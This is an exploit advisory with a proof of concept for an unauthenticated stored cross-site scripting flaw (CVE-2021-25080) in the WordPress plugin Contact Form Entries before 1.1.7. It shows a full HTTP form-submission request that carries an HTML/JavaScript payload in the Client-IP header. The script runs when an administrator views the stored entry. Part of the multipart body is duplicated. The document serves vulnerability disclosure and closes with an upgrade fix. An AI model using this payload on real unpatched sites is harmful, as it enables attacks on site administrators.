WordPress Plugin Contact Form Entries 1.1.6 - Cross Site Scripting (XSS) (Unauthenticated)

# Exploit Title: WordPress Plugin Contact Form Entries 1.1.6 - Cross Site Scripting (XSS) (Unauthenticated) 
# Date: 22/12/2021
# Exploit Author: gx1  <gaetano.perrone[at]secsi.io>
# Vulnerability Discovery: Gaetano Perrone
# Vendor Homepage: https://www.crmperks.com/
# Software Link: https://wordpress.org/plugins/contact-form-entries/
# Version: < 1.1.7
# Tested on: any

# References: 

* https://wpscan.com/vulnerability/acd3d98a-aab8-49be-b77e-e8c6ede171ac
* https://secsi.io/blog/cve-2021-25080-finding-cross-site-scripting-vulnerabilities-in-headers/

# Description: 
Contact Form Entries < 1.1.7 is vulnerable to Unauthenticated Stored Cross-Site Scripting

# Technical Details and Exploitation: 

CRM Form Entries CRM is vulnerable to a Stored XSS in Client IP field. 
When the user uploads a new form, CRM Form Entries checks for the client IP in order to save information about the user: 
===============================================================================================================
public function get_ip(), wp-content/plugins/contact-form-entries/contact-form-entries.php, line 1388
==============================================================================================================
The user can set an arbitrary "HTTP_CLIENT_IP" value, and the value is stored inside the database. 


# Proof Of Concept: 

Suppose that you have a Contact Form, intercept the POST request and insert the following Client-IP header
===============================================================================================================
POST /index.php?rest_route=/contact-form-7/v1/contact-forms/10/feedback HTTP/1.1
Host: dsp.com:11080
Content-Length: 1411
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ...
Client-IP: <img src=a onerror=alert(1)>

------WebKitFormBoundaryCuNGXLnhRsdglEAx

Content-Disposition: form-data; name="_wpcf7"

10
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_version"

5.3.1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_locale"

en_US
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_unit_tag"

wpcf7-f10-p13-o1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_container_post"

Content-Disposition: form-data; name="_wpcf7"

10
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_version"

5.3.1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_locale"

en_US
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_unit_tag"

wpcf7-f10-p13-o1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_container_post"
...
===============================================================================================================
The request is acccepted, and the code navigates the section $_SERVER['HTTP_CLIENT_IP']  , ip is injected and saved inside the database. 
When the administrator clicks on the entry element in the plugin, the XSS is triggered. 


# Solution: 
Upgrade Contact Form Entries to version 1.1.7